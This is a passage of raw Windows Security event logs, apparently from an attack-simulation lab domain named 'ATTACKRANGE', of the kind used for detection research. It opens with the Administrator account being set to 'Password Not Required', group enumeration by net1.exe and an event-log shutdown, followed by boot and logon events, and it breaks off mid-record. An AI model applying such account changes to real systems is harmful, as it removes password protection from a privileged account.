ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-83A0VSB -03/11/2021 11:15:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245046 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-83A0VSB - -Changed Attributes: - SAM Account Name: Administrator - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: 3/1/2021 12:08:54 PM - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x10 - New UAC Value: 0x14 - User Account Control: - 'Password Not Required' - Enabled - User Parameters: - - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:15:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245045 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-83A0VSB - -Process Information: - Process ID: 0xa2c - Process Name: C:\Windows\System32\net1.exe -03/11/2021 11:15:54 PM -LogName=Security -SourceName=Microsoft-Windows-Eventlog -EventCode=1100 -EventType=4 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Service shutdown -OpCode=Info -RecordNumber=245049 -Keywords=Audit Success -Message=The event logging service has shut down. -03/11/2021 11:16:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1b4 - New Process Name: C:\Windows\System32\autochk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x18c - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x18c - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4 - Creator Process Name: - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4826 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other Policy Change Events -OpCode=Info -RecordNumber=245050 -Keywords=Audit Success -Message=Boot Configuration Data loaded. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -General Settings: - Load Options: - - Advanced Options: No - Configuration Access Policy: Default - System Event Logging: No - Kernel Debugging: No - VSM Launch Type: Off - -Signature Settings: - Test Signing: No - Flight Signing: No - Disable Integrity Checks: No - -HyperVisor Settings: - HyperVisor Load Options: - - HyperVisor Launch Type: Off - HyperVisor Debugging: No -03/11/2021 11:16:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x238 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x228 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245056 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x230 - New Process Name: C:\Windows\System32\wininit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245055 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x228 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x18c - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1e8 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245053 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1e0 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x18c - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245067 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245066 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245065 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245064 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4902 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245063 -Keywords=Audit Success -Message=The Per-user audit policy table was created. - -Number of Elements: 0 -Policy ID: 0x558F -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245062 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 0 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: - - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x4 - Process Name: - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: - - Authentication Package: - - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4608 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245061 -Keywords=Audit Success -Message=Windows is starting up. - -This event is logged when LSASS.EXE starts and the auditing subsystem is initialized. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2b8 - New Process Name: C:\Windows\System32\lsass.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x230 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245059 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2b0 - New Process Name: C:\Windows\System32\services.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x230 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245058 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x26c - New Process Name: C:\Windows\System32\winlogon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x228 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245080 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245079 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245078 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245077 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245076 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245075 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 